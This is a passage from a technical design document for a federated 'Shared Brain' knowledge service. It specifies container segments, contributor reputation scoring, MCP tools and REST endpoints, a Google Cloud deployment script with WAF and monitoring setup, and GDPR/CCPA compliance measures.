`0x07` | Meta | Metadata: title (human-readable summary), content (the actual knowledge), tags (categorization), category (domain). |\n| 3 | `0x30` | TransferPrior | Domain transfer priors: compact Beta posteriors from `MetaThompsonEngine`, capturing cross-domain learning rates and prior beliefs. |\n| 4 | `0x31` | PolicyKernel | Best configuration snapshot: population-based policy search results, including hyperparameter settings and fitness scores. |\n| 5 | `0x32` | CostCurve | Acceleration data: convergence curves, learning rate schedules, and cost-to-accuracy trade-offs from domain expansion. |\n| 6 | `0x33` | FederatedManifest | Export metadata: contributor pseudonym, export timestamp, included segment IDs, privacy budget spent (\u03b5 consumed), format version, nonce. |\n| 7 | `0x34` | DiffPrivacyProof | Differential privacy attestation: \u03b5/\u03b4 values, noise mechanism (Gaussian), sensitivity bounds, clipping parameters, RDP accountant state. |\n| 8 | `0x35` | RedactionLog | PII stripping attestation: count of redactions by type, SHAKE-256 hash of pre-redaction content (proves scanning without revealing content), rules that fired. |\n| 9 | `0x0A` | Witness | WITNESS_SEG operation chain: SHAKE-256 hashes linking every operation (PII strip \u2192 embed \u2192 DP noise \u2192 package \u2192 sign). Tamper-evident audit trail. |\n| 10 | `0x0C` | Crypto | Ed25519 signature footer: covers the entire container (all preceding segments). Verifiable without accessing payload content. |\n\nTotal container size is typically 2-50 KB depending on embedding dimension and metadata richness. The 1MB payload limit provides ample headroom for future segment additions.\n\n## 7. Multi-Factor Reputation System\n\nThe reputation system is derived from `ReputationScore` in `ruvector-economy-wasm` and adapted for the public Shared Brain context.\n\n### Composite Score Formula\n\n```\ncomposite = accuracy\u00b2 \u00d7 uptime \u00d7 stake_weight\n```\n\nWhere:\n- **accuracy**: Fraction of a contributor's memories that have positive quality scores (upvotes > downvotes). Squared to heavily penalize inaccurate contributors.\n- **uptime**: Fraction of the last 30 days that the contributor has been active (at least one read or write per day). Rewards consistent participation.\n- **stake_weight**: `min(1.0, log10(stake + 1) / 6)` \u2014 logarithmic scaling of contributor's stake (number of high-quality contributions). Caps at 1.0 to prevent plutocratic dominance.\n\n### Accuracy Computation\n\nAccuracy uses a Bayesian prior Beta(1,1) rather than raw fraction to prevent early luck from distorting scores. The expected accuracy is `(upvotes + 1) / (upvotes + downvotes + 2)`, which smoothly converges to the true ratio as observations increase. A minimum of 5 observations is required before accuracy influences the composite score; below that, accuracy defaults to the prior mean (0.5).\n\n### Cold Start\n\nNew contributors start with a reputation of 0.1. This allows them to participate immediately but with limited influence:\n- Cold-start contributors are rate-limited to 10 writes/hour (vs. 100 for established contributors)\n- Their contributions receive reduced weight in federated aggregation\n- They cannot vote on other contributors' memories until they have at least 5 accepted contributions\n\n### Decay\n\nReputation decays at 5% per month for inactive contributors. This prevents:\n- Sybil accounts from accumulating reputation over time without contributing\n- Abandoned pseudonyms from retaining disproportionate influence\n- Stale reputation scores from misrepresenting current contributor quality\n\n### Poisoning Penalty\n\nContributors who receive more than 5 downvotes with an average quality score below 0.2 have their reputation halved. This penalty:\n- Is applied immediately upon crossing the threshold\n- Stacks multiplicatively (repeated violations compound)\n- Can be recovered from through sustained high-quality contributions\n- Triggers a review entry in `brain_audit_log`\n\n### Storage\n\nReputation data is stored in the `brain_contributors` Firestore collection:\n\n```json\n{\n \"pseudonym\": \"contributor_abc123\",\n \"public_key\": \"ed25519_base64_...\",\n \"reputation\": 0.72,\n \"accuracy\": 0.85,\n \"uptime\": 0.93,\n \"stake\": 47,\n \"contributions_count\": 52,\n \"downvote_count\": 1,\n \"last_active\": \"2026-02-27T14:30:00Z\",\n \"created_at\": \"2026-01-15T09:00:00Z\",\n \"penalties\": []\n}\n```\n\n## 8. Hive-Mind Emergence\n\nThe Shared Brain does not impose a fixed taxonomy on knowledge. Instead, structure emerges organically from the collective contributions through several mechanisms:\n\n### Federated Aggregation with Byzantine Tolerance\n\nThe `FederatedAggregator` computes weighted FedAvg across all contributions in a given domain:\n- Weights are derived from contributor reputation and contribution quality\n- 2-sigma outlier filter excludes contributions that deviate significantly from the consensus\n- This provides Byzantine fault tolerance: up to 1/3 of contributors can be adversarial without corrupting the aggregate\n- Aggregation rounds run periodically (configurable, default: every 100 new contributions or 24 hours)\n\n### MinCut Partitioning\n\n`CognitiveMinCutEngine` applies spectral graph analysis to the knowledge graph:\n- Memories are nodes; similarity and citation relationships are edges\n- MinCut partitioning identifies natural knowledge domains \u2014 clusters that are internally cohesive but loosely coupled to other clusters\n- These emergent domains are not predefined categories but arise from the actual structure of shared knowledge\n- `CutCertificate` proves that each partition preserves structural integrity (no important edges were severed)\n\n### SNN Attractor Dynamics\n\nThe `CognitiveMinCutEngine` uses Spiking Neural Network (SNN) attractor dynamics to assess cluster quality:\n- Each knowledge cluster is modeled as an attractor basin\n- Stable attractors represent well-established knowledge domains\n- Unstable or rapidly shifting attractors indicate emerging or contested knowledge areas\n- This provides an early warning system for knowledge drift or poisoning attempts\n\n### Population-Based Policy Search\n\nBest practices and configuration knowledge evolve through population-based search:\n- `PolicyKernel` segments from multiple contributors form a population\n- Fitness is determined by downstream quality scores (did this configuration help?)\n- Tournament selection and mutation produce improved policy kernels over time\n- The best kernels are promoted to the Pareto front\n\n### Pareto Front Maintenance\n\nThe system maintains a Pareto front balancing two objectives:\n- **Quality**: How accurate and useful is the knowledge? (measured by votes and downstream outcomes)\n- **Novelty**: How different is this knowledge from existing entries? (measured by embedding distance from centroid)\n- This prevents the knowledge base from collapsing into a single consensus viewpoint\n- Novel but unverified knowledge is retained at lower confidence until validated\n\n### Curiosity Bonus\n\nTo incentivize exploration of new knowledge domains, the system applies a curiosity bonus:\n- Contributions to under-represented domains receive a quality multiplier\n- This encourages coverage across the full problem space rather than concentration in popular areas\n- The bonus decays as a domain reaches sufficient coverage (measured by embedding space density)\n\n## 9. MCP Tool Interface\n\nThe `mcp-brain` crate provides 10 MCP tools for Claude Code sessions to interact with the Shared Brain. Tools are accessed via JSON-RPC 2.0 over stdio.\n\nRegistration: `claude mcp add mcp-brain -- cargo run -p mcp-brain`\n\n### Tool Reference\n\n#### 1. brain_share\n\nShare learning with the collective brain.\n\n**Parameters**:\n- `title` (string, required): Human-readable summary of the knowledge\n- `content` (string, required): The actual knowledge content\n- `tags` (string[], optional): Categorization tags\n- `category` (string, optional): Knowledge domain\n- `embedding` (float[], optional): Pre-computed SONA embedding (auto-computed if omitted)\n\n**Returns**: `{ id, witness_hash, quality_score, segments_stored }`\n\n**Security**: Client-side PII strip, DP noise injection, Ed25519 signing applied automatically before upload. Server re-validates all guarantees.\n\n#### 2. brain_search\n\nSemantic search across all shared knowledge using SONA embeddings.\n\n**Parameters**:\n- `query` (string, required): Natural language search query\n- `limit` (integer, optional, default: 10): Maximum results\n- `category` (string, optional): Filter by knowledge domain\n- `min_quality` (float, optional, default: 0.0): Minimum quality score threshold\n\n**Returns**: `[{ id, title, content, quality_score, similarity, contributor, tags }]`\n\n#### 3. brain_get\n\nRetrieve a specific memory with full provenance information.\n\n**Parameters**:\n- `id` (string, required): Memory identifier\n\n**Returns**: `{ id, title, content, quality_score, observations, contributor, witness_chain, segments, created_at, updated_at }`\n\n#### 4. brain_vote\n\nQuality-gate a memory via Bayesian score update.\n\n**Parameters**:\n- `id` (string, required): Memory identifier\n- `vote` (string, required): `\"up\"` or `\"down\"`\n- `reason` (string, optional): Explanation for the vote\n\n**Returns**: `{ new_quality_score, total_observations, voter_reputation_delta }`\n\n**Mechanism**: Votes update the memory's quality score using Bayesian updating. The voter's reputation influences vote weight. Voting also updates the voter's own reputation (accurate votes on eventually-consensus memories increase voter reputation).\n\n#### 5. brain_transfer\n\nApply learned priors from the shared brain to a local task domain.\n\n**Parameters**:\n- `source_domain` (string, required): Domain to transfer from\n- `target_domain` (string, required): Local domain to transfer to\n- `min_quality` (float, optional, default: 0.5): Minimum quality threshold for priors\n- `min_observations` (integer, optional, default: 10): Minimum evidence threshold\n\n**Returns**: `{ transferred_priors, transferred_policies, estimated_acceleration, confidence }`\n\n**Mechanism**: Extracts high-quality `TransferPrior (0x30)` and `PolicyKernel (0x31)` segments from the specified source domain, applies sqrt-scaling dampening (same as `MetaThompsonEngine::init_domain_with_transfer`), and returns them for local integration.\n\n#### 6. brain_drift\n\nCheck knowledge drift in a specific domain.\n\n**Parameters**:\n- `domain` (string, optional): Specific domain to check (all domains if omitted)\n- `window` (string, optional, default: \"7d\"): Time window for drift analysis\n\n**Returns**: `{ domains: [{ domain, centroid_shift, anomaly_detected, new_clusters, fragmentation_score }] }`\n\n#### 7. brain_partition\n\nGet knowledge partitioned by MinCut spectral analysis.\n\n**Parameters**:\n- `domain` (string, optional): Specific domain (all if omitted)\n- `min_cluster_size` (integer, optional, default: 3): Minimum memories per cluster\n\n**Returns**: `{ partitions: [{ cluster_id, memories, centroid, cohesion_score, cut_certificate }] }`\n\n#### 8. brain_list\n\nList recent memories with optional filtering.\n\n**Parameters**:\n- `limit` (integer, optional, default: 20): Maximum results\n- `category` (string, optional): Filter by category\n- `contributor` (string, optional): Filter by contributor pseudonym\n- `sort` (string, optional, default: \"recent\"): Sort order (`\"recent\"`, `\"quality\"`, `\"trending\"`)\n\n**Returns**: `[{ id, title, quality_score, observations, contributor, category, created_at }]`\n\n#### 9. brain_delete\n\nDelete own contribution from the shared brain.\n\n**Parameters**:\n- `id` (string, required): Memory identifier (must be owned by the caller)\n\n**Returns**: `{ deleted: true, audit_entry_id }`\n\n**Security**: Only the original contributor (verified by Ed25519 signature) can delete their own memories. Deletion is recorded in `brain_audit_log`.\n\n#### 10. brain_status\n\nGet system health and statistics.\n\n**Parameters**: None\n\n**Returns**: `{ total_memories, total_contributors, active_contributors_30d, avg_quality_score, domains, uptime, storage_used, rate_limits_remaining }`\n\n## 10. REST API Interface\n\nThe `mcp-brain-server` crate exposes a REST API (axum-based) deployed on Cloud Run at `brain.ruv.io`.\n\nAll endpoints require authentication via Bearer token (`Authorization: Bearer `) or Ed25519 signed requests.\n\n### Endpoint Reference\n\n#### GET /v1/health\n\nHealth check endpoint. Unauthenticated.\n\n**Response** (200):\n```json\n{\n \"status\": \"healthy\",\n \"version\": \"0.1.0\",\n \"uptime_seconds\": 86400,\n \"firestore\": \"connected\",\n \"gcs\": \"connected\"\n}\n```\n\n#### POST /v1/memories\n\nSubmit a new shared memory. Accepts an RVF cognitive container.\n\n**Request**: Binary RVF container or JSON envelope:\n```json\n{\n \"title\": \"Optimal LoRA rank for code review\",\n \"content\": \"rank=16 with alpha=32 converges 2x faster on code review tasks...\",\n \"tags\": [\"lora\", \"code-review\", \"optimization\"],\n \"category\": \"ml-tuning\",\n \"embedding\": [0.12, -0.34, ...],\n \"rvf_container_b64\": \"\"\n}\n```\n\n**Response** (201):\n```json\n{\n \"id\": \"mem_abc123\",\n \"witness_hash\": \"shake256_...\",\n \"quality_score\": 0.5,\n \"segments_stored\": 10\n}\n```\n\n**Rate limit**: 100 writes/hour per contributor (10 for cold-start).\n\n#### GET /v1/memories/search\n\nSemantic search across shared knowledge.\n\n**Query parameters**:\n- `q` (string, required): Search query\n- `limit` (integer, optional, default: 10)\n- `category` (string, optional)\n- `min_quality` (float, optional, default: 0.0)\n\n**Response** (200):\n```json\n{\n \"results\": [\n {\n \"id\": \"mem_abc123\",\n \"title\": \"Optimal LoRA rank for code review\",\n \"content\": \"rank=16 with alpha=32...\",\n \"quality_score\": 0.87,\n \"similarity\": 0.94,\n \"contributor\": \"contributor_xyz\",\n \"tags\": [\"lora\", \"code-review\"]\n }\n ],\n \"total\": 42\n}\n```\n\n#### GET /v1/memories/{id}\n\nRetrieve a specific memory with full provenance.\n\n**Response** (200):\n```json\n{\n \"id\": \"mem_abc123\",\n \"title\": \"Optimal LoRA rank for code review\",\n \"content\": \"rank=16 with alpha=32...\",\n \"quality_score\": 0.87,\n \"observations\": 15,\n \"contributor\": \"contributor_xyz\",\n \"witness_chain\": [\"shake256_aaa...\", \"shake256_bbb...\"],\n \"segments\": [\"Manifest\", \"Vec\", \"Meta\", \"TransferPrior\", \"PolicyKernel\", \"CostCurve\", \"FederatedManifest\", \"DiffPrivacyProof\", \"RedactionLog\", \"Witness\", \"Crypto\"],\n \"created_at\": \"2026-02-27T10:00:00Z\",\n \"updated_at\": \"2026-02-27T14:30:00Z\"\n}\n```\n\n#### POST /v1/memories/{id}/vote\n\nVote on a memory's quality.\n\n**Request**:\n```json\n{\n \"vote\": \"up\",\n \"reason\": \"Verified this LoRA configuration independently\"\n}\n```\n\n**Response** (200):\n```json\n{\n \"new_quality_score\": 0.89,\n \"total_observations\": 16,\n \"voter_reputation_delta\": 0.01\n}\n```\n\n#### DELETE /v1/memories/{id}\n\nDelete own contribution. Requires Ed25519 signature matching the original contributor.\n\n**Response** (200):\n```json\n{\n \"deleted\": true,\n \"audit_entry_id\": \"audit_del_789\"\n}\n```\n\n**Response** (403): If the caller is not the original contributor.\n\n#### POST /v1/transfer\n\nApply transfer learning from shared knowledge to a target domain.\n\n**Request**:\n```json\n{\n \"source_domain\": \"code-review\",\n \"target_domain\": \"security-audit\",\n \"min_quality\": 0.5,\n \"min_observations\": 10\n}\n```\n\n**Response** (200):\n```json\n{\n \"transferred_priors\": 8,\n \"transferred_policies\": 3,\n \"estimated_acceleration\": 1.7,\n \"confidence\": 0.82,\n \"rvf_container_b64\": \"\"\n}\n```\n\n#### GET /v1/drift\n\nCheck knowledge drift across domains.\n\n**Query parameters**:\n- `domain` (string, optional): Specific domain (all if omitted)\n- `window` (string, optional, default: \"7d\")\n\n**Response** (200):\n```json\n{\n \"domains\": [\n {\n \"domain\": \"ml-tuning\",\n \"centroid_shift\": 0.12,\n \"anomaly_detected\": false,\n \"new_clusters\": 1,\n \"fragmentation_score\": 0.08\n }\n ]\n}\n```\n\n#### GET /v1/partition\n\nGet knowledge partitioned by MinCut spectral analysis.\n\n**Query parameters**:\n- `domain` (string, optional)\n- `min_cluster_size` (integer, optional, default: 3)\n\n**Response** (200):\n```json\n{\n \"partitions\": [\n {\n \"cluster_id\": \"cluster_001\",\n \"memory_count\": 12,\n \"centroid\": [0.15, -0.22, ...],\n \"cohesion_score\": 0.91,\n \"cut_certificate\": \"cert_sha256_...\"\n }\n ]\n}\n```\n\n#### GET /v1/status\n\nSystem health and statistics. Includes real computed avg_quality (from all memories' BetaParams) and drift_status (from DriftMonitor).\n\n**Response** (200):\n```json\n{\n \"total_memories\": 1247,\n \"total_contributors\": 89,\n \"graph_nodes\": 1247,\n \"graph_edges\": 3842,\n \"cluster_count\": 7,\n \"avg_quality\": 0.71,\n \"drift_status\": \"healthy\",\n \"lora_epoch\": 42,\n \"lora_pending_submissions\": 1,\n \"total_pages\": 23,\n \"total_nodes\": 5,\n \"total_votes\": 892\n}\n```\n\n### Brainpedia Endpoints (ADR-062)\n\n| Method | Path | Purpose |\n|--------|------|---------|\n| POST | `/v1/pages` | Create a Brainpedia page (reputation-gated) |\n| GET | `/v1/pages/{id}` | Get page with delta log and evidence |\n| POST | `/v1/pages/{id}/deltas` | Submit a delta (evidence-gated) |\n| GET | `/v1/pages/{id}/deltas` | List deltas for a page |\n| POST | `/v1/pages/{id}/evidence` | Add evidence to a page |\n| POST | `/v1/pages/{id}/promote` | Promote Draft to Canonical (consensus-gated) |\n\n### WASM Executable Nodes (ADR-063)\n\n| Method | Path | Purpose |\n|--------|------|---------|\n| GET | `/v1/nodes` | List published (non-revoked) nodes |\n| POST | `/v1/nodes` | Publish a WASM node (reputation-gated, V1 ABI validated) |\n| GET | `/v1/nodes/{id}` | Get node metadata + conformance vectors |\n| GET | `/v1/nodes/{id}.wasm` | Download WASM binary (immutable cache headers) |\n| POST | `/v1/nodes/{id}/revoke` | Revoke a node (original publisher only) |\n\n### Federated MicroLoRA Endpoints (ADR-060/061)\n\n| Method | Path | Purpose |\n|--------|------|---------|\n| GET | `/v1/lora/latest` | Serve current consensus MicroLoRA weights |\n| POST | `/v1/lora/submit` | Submit session LoRA weights for federation |\n| GET | `/v1/training/preferences` | Export preference pairs for DPO/reward model training |\n\n**Total: 25 endpoints** across core (12), Brainpedia (6), WASM nodes (5), and LoRA/training (3).\n\n### Persistence Architecture\n\nAll state uses a write-through cache pattern:\n- **DashMap**: In-memory hot cache for all read operations\n- **Firestore REST**: Durable backend, written on every mutation when `FIRESTORE_URL` is set\n- **Startup hydration**: `load_from_firestore()` populates cache from Firestore on boot\n- **Local-only mode**: When `FIRESTORE_URL` is absent, operates as in-memory only (dev/test)\n\nHealth endpoint reports `persistence_mode: \"firestore\"` or `\"local-only\"`.\n\n## 11. Deployment Runbook\n\n### Prerequisites\n\n- Google Cloud SDK (`gcloud`) installed and authenticated as `ruv@ruv.net`\n- Project: `ruv-dev` (project number: redacted)\n- Region: `us-central1`\n- Service account: `mcp-brain-server@ruv-dev.iam.gserviceaccount.com`\n- GCS bucket: `ruvector-brain-us-central1`\n- Firestore: `(default)` database\n- Secrets: `brain-api-key`, `brain-signing-key`, `cloudflare-api-token` in Secret Manager\n- Domain: `brain.ruv.io` (Cloudflare DNS \u2014 configured separately)\n\n### deploy.sh\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nPROJECT=\"ruv-dev\"\nREGION=\"us-central1\"\nSERVICE=\"ruvbrain\"\nBUCKET=\"ruvector-brain-${REGION}\"\nDB=\"(default)\"\n\necho \"=== Step 1: GCS Bucket Creation ===\"\ngcloud storage buckets create \"gs://${BUCKET}\" \\\n --project=\"${PROJECT}\" \\\n --location=\"${REGION}\" \\\n --uniform-bucket-level-access \\\n --public-access-prevention\n\n# Lifecycle: archive after 90 days, delete after 365 days\ncat > /tmp/lifecycle.json <<'LIFECYCLE'\n{\n \"rule\": [\n {\n \"action\": {\"type\": \"SetStorageClass\", \"storageClass\": \"NEARLINE\"},\n \"condition\": {\"age\": 90}\n },\n {\n \"action\": {\"type\": \"Delete\"},\n \"condition\": {\"age\": 365}\n }\n ]\n}\nLIFECYCLE\ngcloud storage buckets update \"gs://${BUCKET}\" \\\n --lifecycle-file=/tmp/lifecycle.json\n\necho \"=== Step 2: Firestore Setup ===\"\ngcloud firestore databases create \\\n --project=\"${PROJECT}\" \\\n --database=\"${DB}\" \\\n --location=\"${REGION}\" \\\n --type=firestore-native\n\n# Create composite indexes for common queries\ngcloud firestore indexes composite create \\\n --project=\"${PROJECT}\" \\\n --database=\"${DB}\" \\\n --collection-group=\"brain_memories\" \\\n --field-config=\"field-path=category,order=ASCENDING\" \\\n --field-config=\"field-path=quality_score,order=DESCENDING\"\n\ngcloud firestore indexes composite create \\\n --project=\"${PROJECT}\" \\\n --database=\"${DB}\" \\\n --collection-group=\"brain_memories\" \\\n --field-config=\"field-path=contributor,order=ASCENDING\" \\\n --field-config=\"field-path=created_at,order=DESCENDING\"\n\necho \"=== Step 3: Secret Manager Setup ===\"\n# Create secrets (values should be provided securely, not in script)\necho -n \"${BRAIN_API_KEY:-$(openssl rand -hex 32)}\" | \\\n gcloud secrets create brain-api-key \\\n --project=\"${PROJECT}\" \\\n --replication-policy=\"automatic\" \\\n --data-file=-\n\necho -n \"${BRAIN_SIGNING_KEY:-placeholder}\" | \\\n gcloud secrets create brain-signing-key \\\n --project=\"${PROJECT}\" \\\n --replication-policy=\"automatic\" \\\n --data-file=-\n\n# Grant Cloud Run service account access\nSA=\"mcp-brain-server@${PROJECT}.iam.gserviceaccount.com\"\n\ngcloud secrets add-iam-policy-binding brain-api-key \\\n --project=\"${PROJECT}\" \\\n --member=\"serviceAccount:${SA}\" \\\n --role=\"roles/secretmanager.secretAccessor\"\n\ngcloud secrets add-iam-policy-binding brain-signing-key \\\n --project=\"${PROJECT}\" \\\n --member=\"serviceAccount:${SA}\" \\\n --role=\"roles/secretmanager.secretAccessor\"\n\necho \"=== Step 4: Service Account and IAM ===\"\ngcloud iam service-accounts create \"mcp-brain-server\" \\\n --project=\"${PROJECT}\" \\\n --display-name=\"MCP Brain Server\"\n\n# Firestore access\ngcloud projects add-iam-policy-binding \"${PROJECT}\" \\\n --member=\"serviceAccount:${SA}\" \\\n --role=\"roles/datastore.user\"\n\n# GCS access\ngcloud storage buckets add-iam-policy-binding \"gs://${BUCKET}\" \\\n --member=\"serviceAccount:${SA}\" \\\n --role=\"roles/storage.objectAdmin\"\n\n# Monitoring\ngcloud projects add-iam-policy-binding \"${PROJECT}\" \\\n --member=\"serviceAccount:${SA}\" \\\n --role=\"roles/monitoring.metricWriter\"\n\necho \"=== Step 5: Cloud Run Deployment ===\"\n# Note: --no-allow-unauthenticated requires IAM auth at the Cloud Run level.\n# Public access is handled via the external HTTPS LB (Step 6b).\n# The /v1/health endpoint is exempt via IAM invoker on the LB.\ngcloud run deploy \"${SERVICE}\" \\\n --project=\"${PROJECT}\" \\\n --region=\"${REGION}\" \\\n --image=\"gcr.io/${PROJECT}/${SERVICE}:latest\" \\\n --service-account=\"${SA}\" \\\n --cpu=2 \\\n --memory=2Gi \\\n --min-instances=0 \\\n --max-instances=10 \\\n --concurrency=80 \\\n --port=8080 \\\n --set-env-vars=\"GOOGLE_CLOUD_PROJECT=${PROJECT},GCS_BUCKET=${BUCKET},FIRESTORE_URL=https://firestore.googleapis.com/v1/projects/${PROJECT}/databases/${DB}/documents,RUST_LOG=info\" \\\n --set-secrets=\"BRAIN_API_KEY=brain-api-key:latest,BRAIN_SIGNING_KEY=brain-signing-key:latest\" \\\n --allow-unauthenticated\n\necho \"=== Step 6a: Custom Domain Mapping (Dev Path A \u2014 no Cloud Armor/CDN) ===\"\necho \"For development only. Production uses Step 6b.\"\n# gcloud run domain-mappings create \\\n# --project=\"${PROJECT}\" \\\n# --region=\"${REGION}\" \\\n# --service=\"${SERVICE}\" \\\n# --domain=\"brain.ruv.io\"\n\necho \"=== Step 6b: External HTTPS LB + Serverless NEG (Production Path B) ===\"\n# This path provides Cloud Armor WAF + Cloud CDN integration.\n\n# Create serverless NEG pointing to Cloud Run\ngcloud compute network-endpoint-groups create brain-neg \\\n --project=\"${PROJECT}\" \\\n --region=\"${REGION}\" \\\n --network-endpoint-type=serverless \\\n --cloud-run-service=\"${SERVICE}\"\n\n# Create backend service\ngcloud compute backend-services create brain-backend \\\n --project=\"${PROJECT}\" \\\n --global \\\n --protocol=HTTPS \\\n --port-name=http\n\n# Add NEG to backend\ngcloud compute backend-services add-backend brain-backend \\\n --project=\"${PROJECT}\" \\\n --global \\\n --network-endpoint-group=brain-neg \\\n --network-endpoint-group-region=\"${REGION}\"\n\n# Create URL map\ngcloud compute url-maps create brain-lb \\\n --project=\"${PROJECT}\" \\\n --default-service=brain-backend\n\n# Reserve static IP\ngcloud compute addresses create brain-ip \\\n --project=\"${PROJECT}\" \\\n --global\n\n# Create managed SSL certificate for brain.ruv.io\ngcloud compute ssl-certificates create brain-cert \\\n --project=\"${PROJECT}\" \\\n --domains=\"brain.ruv.io\" \\\n --global\n\n# Create HTTPS proxy\ngcloud compute target-https-proxies create brain-https-proxy \\\n --project=\"${PROJECT}\" \\\n --url-map=brain-lb \\\n --ssl-certificates=brain-cert\n\n# Create forwarding rule\nBRAIN_IP=$(gcloud compute addresses describe brain-ip --project=\"${PROJECT}\" --global --format='value(address)')\ngcloud compute forwarding-rules create brain-https-rule \\\n --project=\"${PROJECT}\" \\\n --global \\\n --target-https-proxy=brain-https-proxy \\\n --ports=443 \\\n --address=\"${BRAIN_IP}\"\n\necho \"\"\necho \"DNS Configuration Required:\"\necho \" Add an A record for brain.ruv.io pointing to ${BRAIN_IP}\"\necho \" SSL certificate will auto-provision once DNS resolves.\"\necho \"\"\n\necho \"=== Step 7: Cloud Armor WAF (attached to LB backend) ===\"\ngcloud compute security-policies create brain-waf-policy \\\n --project=\"${PROJECT}\" \\\n --description=\"WAF policy for brain.ruv.io\"\n\n# Rate limiting rule (edge gate \u2014 rejects botnets before reaching Cloud Run)\ngcloud compute security-policies rules create 1000 \\\n --project=\"${PROJECT}\" \\\n --security-policy=\"brain-waf-policy\" \\\n --expression=\"true\" \\\n --action=\"rate-based-ban\" \\\n --rate-limit-threshold-count=1000 \\\n --rate-limit-threshold-interval-sec=60 \\\n --ban-duration-sec=300\n\n# OWASP CRS rules\ngcloud compute security-policies rules create 2000 \\\n --project=\"${PROJECT}\" \\\n --security-policy=\"brain-waf-policy\" \\\n --expression=\"evaluatePreconfiguredExpr('sqli-v33-stable')\" \\\n --action=\"deny-403\"\n\ngcloud compute security-policies rules create 2001 \\\n --project=\"${PROJECT}\" \\\n --security-policy=\"brain-waf-policy\" \\\n --expression=\"evaluatePreconfiguredExpr('xss-v33-stable')\" \\\n --action=\"deny-403\"\n\n# Attach Cloud Armor to the backend service\ngcloud compute backend-services update brain-backend \\\n --project=\"${PROJECT}\" \\\n --global \\\n --security-policy=brain-waf-policy\n\n# Enable Cloud CDN on the backend (read-heavy caching)\ngcloud compute backend-services update brain-backend \\\n --project=\"${PROJECT}\" \\\n --global \\\n --enable-cdn\n\necho \"=== Step 8: Monitoring and Alerting ===\"\n# Uptime check\ngcloud monitoring uptime create \"brain-health-check\" \\\n --project=\"${PROJECT}\" \\\n --display-name=\"Brain Health Check\" \\\n --resource-type=\"uptime-url\" \\\n --hostname=\"brain.ruv.io\" \\\n --path=\"/v1/health\" \\\n --check-interval=60s\n\n# Alert policy for error rate\ncat > /tmp/alert-policy.json <<'ALERT'\n{\n \"displayName\": \"Brain Server Error Rate > 5%\",\n \"conditions\": [\n {\n \"displayName\": \"Error Rate\",\n \"conditionThreshold\": {\n \"filter\": \"resource.type=\\\"cloud_run_revision\\\" AND resource.labels.service_name=\\\"mcp-brain-server\\\" AND metric.type=\\\"run.googleapis.com/request_count\\\" AND metric.labels.response_code_class=\\\"5xx\\\"\",\n \"aggregations\": [\n {\n \"alignmentPeriod\": \"300s\",\n \"perSeriesAligner\": \"ALIGN_RATE\"\n }\n ],\n \"comparison\": \"COMPARISON_GT\",\n \"thresholdValue\": 0.05,\n \"duration\": \"300s\"\n }\n }\n ],\n \"combiner\": \"OR\"\n}\nALERT\n\ngcloud alpha monitoring policies create \\\n --project=\"${PROJECT}\" \\\n --policy-from-file=/tmp/alert-policy.json\n\necho \"=== Deployment Complete ===\"\necho \"Service URL: https://brain.ruv.io\"\necho \"Health check: https://brain.ruv.io/v1/health\"\necho \"Status: https://brain.ruv.io/v1/status\"\n```\n\n### Post-Deployment Verification\n\n```bash\n# Verify health endpoint\ncurl -s https://brain.ruv.io/v1/health | jq .\n\n# Verify status endpoint\ncurl -s -H \"Authorization: Bearer ${BRAIN_API_KEY}\" \\\n https://brain.ruv.io/v1/status | jq .\n\n# Test memory submission (with test data)\ncurl -s -X POST https://brain.ruv.io/v1/memories \\\n -H \"Authorization: Bearer ${BRAIN_API_KEY}\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"title\":\"test\",\"content\":\"deployment verification\",\"tags\":[\"test\"]}' | jq .\n\n# Verify Firestore connectivity\ngcloud firestore documents list \\\n --project=\"${PROJECT}\" \\\n --database=\"brain\" \\\n --collection=\"brain_memories\" \\\n --limit=1\n\n# Verify GCS bucket\ngcloud storage ls \"gs://${BUCKET}/\" --limit=5\n```\n\n## 12. Compliance\n\n### GDPR (General Data Protection Regulation)\n\n**Article 25 \u2014 Privacy by Design**: PII stripping is mandatory and automatic. No personal data leaves the client without passing through the three-stage PII pipeline (detection, redaction, attestation). Differential privacy noise injection provides mathematical guarantees against re-identification. Server-side PII re-checking provides defense-in-depth.\n\n**Article 17 \u2014 Right to Erasure**: Contributors can delete their own memories via `brain_delete` / `DELETE /v1/memories/{id}`. Pseudonym revocation cascades to remove all associated contributions from `brain_memories`, `brain_graph_edges`, and GCS objects. The `brain_audit_log` retains a record of the deletion (without the deleted content) for compliance audit purposes.\n\n**Article 15 \u2014 Right of Access**: Contributors can retrieve all their contributions via `brain_list` / `GET /v1/memories/search?contributor={pseudonym}`.\n\n**Article 20 \u2014 Data Portability**: Contributors can export their contributions as standard RVF containers via `brain_get` / `GET /v1/memories/{id}`.\n\n### CCPA (California Consumer Privacy Act)\n\n**Section 1798.105 \u2014 Right to Delete**: Deletion requests are honored via the same `brain_delete` mechanism as GDPR Article 17. Pseudonym revocation removes all associated data within 30 days.\n\n**Section 1798.100 \u2014 Right to Know**: Contributors can access all data associated with their pseudonym via the API.\n\n**Section 1798.110 \u2014 Right to Know Categories**: The system stores only: SONA embeddings, metadata (title, content, tags, category), reputation scores, and audit logs. No raw personal data is stored.\n\n### Pseudonym Revocation\n\nRevoking a contributor pseudonym triggers:\n1. Immediate exclusion from future aggregation rounds\n2. Removal of all memories from `brain_memories` Firestore collection\n3. Removal of all graph edges from `brain_graph_edges`\n4. Deletion of all RVF containers from GCS bucket\n5. Contributor record in `brain_contributors` is marked as revoked (not deleted, for audit)\n6. Audit entry in `brain_audit_log` recording the revocation\n\n### Data Retention\n\n| Data Type | Active Retention | Archive | Deletion |\n|-----------|-----------------|---------|----------|\n| Shared memories | Indefinite (while active) | 90 days after last access | 365 days after archival |\n| RVF containers (GCS) | Standard storage | Nearline after 90 days | Deleted after 365 days |\n| Contributor profiles | While active | N/A | On pseudonym revocation |\n| Audit logs | 365 days | N/A | Deleted after 365 days |\n| Graph edges | While connected memories exist | N/A | Cascaded on memory deletion |\n\n### PII Guarantees\n\n1. **No PII in storage**: All data in Firestore and GCS has been PII-stripped (client-side) and PII-re-checked (server-side)\n2. **No PII in embeddings**: SONA embeddings are generated from PII-stripped content with DP noise injection\n3. **No PII in logs**: Audit logs record operation hashes and pseudonyms, never raw content\n4. **No PII in transit**: All communication is HTTPS with TLS 1.3; request bodies contain only processed data\n5. **Attestation**: Every memory includes a `RedactionLog (0x35)` segment proving PII stripping was performed, and a `DiffPrivacyProof (0x34)` segment attesting to the privacy parameters applied\n\n## 13. Cognitive Integration Roadmap\n\nThis section documents the phased replacement of homebrew algorithms with production crates from the 